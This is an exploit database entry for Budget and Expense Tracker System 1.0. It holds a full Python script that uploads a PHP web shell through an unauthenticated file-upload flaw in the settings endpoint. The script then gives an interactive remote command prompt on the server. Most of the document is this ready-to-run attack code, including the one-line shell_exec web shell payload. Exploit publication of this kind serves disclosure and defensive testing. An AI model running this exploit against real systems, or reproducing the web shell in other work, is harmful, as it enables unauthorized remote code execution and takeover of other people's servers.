Remote Code Execution (RCE) (Unauthenticated)

EDB-ID: 50308

CVE: N/A

EDB Verified: ×

Author: ABDULLAH KHAWAJA

Type: WEBAPPS

Exploit: _ / {}

Platform: PHP

Date: 2021-09-21

Vulnerable App:

```
# Exploit Title: Budget and Expense Tracker System 1.0 -  Remote Code Execution
(RCE) (Unauthenticated)
# Exploit Author: Abdullah Khawaja (hax.3xploit)
# Date: 2021-09-21
# Vendor Homepage: https://www.sourcecodester.com/php/14893/budget-and-expense-
tracker-system-php-free-source-code.html
# Software Link:
https://www.sourcecodester.com/sites/default/files/download/oretnom23/expense_budget

# Version: 2.0
# Tested On: Kali Linux, Windows 10 + XAMPP 7.4.4
# Description: Budget and Expense Tracker System 1.0 suffers from an
Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote
Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted
PHP file that bypasses the image upload filters.
```

```
# RCE via executing exploit:
    # Step 1: run the exploit in python with this command: python3 BMAETS_v1.0.py
    # Step 2: Input the URL of the vulnerable application: Example:
http://localhost/expense_budget/


import requests, sys, urllib, re
import datetime
from colorama import Fore, Back, Style

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.Inse




header = Style.BRIGHT+Fore.RED+'              '+Fore.RED+' Abdullah
'+Fore.RED+'"'+Fore.RED+'hax.3xploit'+Fore.RED+'"'+Fore.RED+'
Khawaja\n'+Style.RESET_ALL

print(Style.BRIGHT+"               Budget and Expense Tracker System 1.0")
print(Style.BRIGHT+"            Unauthenticated Remote Code
Execution"+Style.RESET_ALL)
print(header)

print(r"""
        ______ _______                          ________
        ___  //_/__  /_______ ___      _______ ______(_)_____ _
        __  ,<  __  __ \  __ `/_ | /| / /  __ `/____  /_  __ `/
        _  /| | _  / / / /_/ /__ |/ |/ // /_/ /____  / / /_/ /
        /_/ |_| /_/ /_/\__,_/ ____/|__/ \__,_/ ___  /  \__,_/
                                                /___/
                    abdullahkhawaja.com
                """)



GREEN =  '\033[32m' # Green Text
RED =  '\033[31m' # Red Text
RESET = '\033[m' # reset to the defaults

proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}


#Create a new session
s = requests.Session()


#Set Cookie
cookies = {'PHPSESSID': 'd794ba06fcba883d6e9aaf6e528b0733'}

LINK=input("Enter URL of The Vulnarable Application : ")


def webshell(LINK, session):
    try:
        WEB_SHELL = LINK+'/uploads/'+filename
        getdir  = {'cmd': 'echo %CD%'}
        r2 = session.get(WEB_SHELL, params=getdir, verify=False, proxies=proxies)
        status = r2.status_code
        if status != 200:
            print (Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to
the webshell."+Style.RESET_ALL)
```

```
            r2.raise_for_status()
        print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')
        cwd = re.findall('[CDEF].*', r2.text)
        cwd = cwd[0]+"> "
        term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
        while True:
            thought = input(term)
            command = {'cmd': thought}
            r2 = requests.get(WEB_SHELL, params=command, verify=False)
            status = r2.status_code
            if status != 200:
                r2.raise_for_status()
            response2 = r2.text
            print(response2)
    except:
        print("\r\nExiting.")
        sys.exit(-1)


#Creating a PHP Web Shell

phpshell  = {
               'img':
                  (
                   'shell.php',
                   '<?php echo shell_exec($_REQUEST["cmd"]); ?>',
                   'application/octet-stream',
                  {'Content-Disposition': 'form-data'}
                  )
             }

# Defining value for form data
data = {'name':'Budget and Expense Tracker System - PHP', 'short_name':'B&E
Tracker'}


def id_generator():
    x = datetime.datetime.now()
    date_string = x.strftime("%y-%m-%d %H:%M")
    date = datetime.datetime.strptime(date_string, "%y-%m-%d %H:%M")
    timestamp = datetime.datetime.timestamp(date)
    file = int(timestamp)
    final_name = str(file)+'_shell.php'
    return final_name

filename = id_generator()
#Uploading Reverse Shell
print("[*]Uploading PHP Shell For RCE...")
upload = s.post(LINK+'classes/SystemSettings.php?f=update_settings',
cookies=cookies, files=phpshell, data=data,  proxies=proxies)

shell_upload = True if("1" in upload.text) else False
u=shell_upload
if u:
    print(GREEN+"[+]PHP Shell has been uploaded successfully!", RESET)
else:
    print(RED+"[-]Failed To Upload The PHP Shell!", RESET)



#Executing The Webshell
webshell(LINK, s)
```

Tags:

Advisory/Source: Link

Downloads

Certifications

Training

Pro Services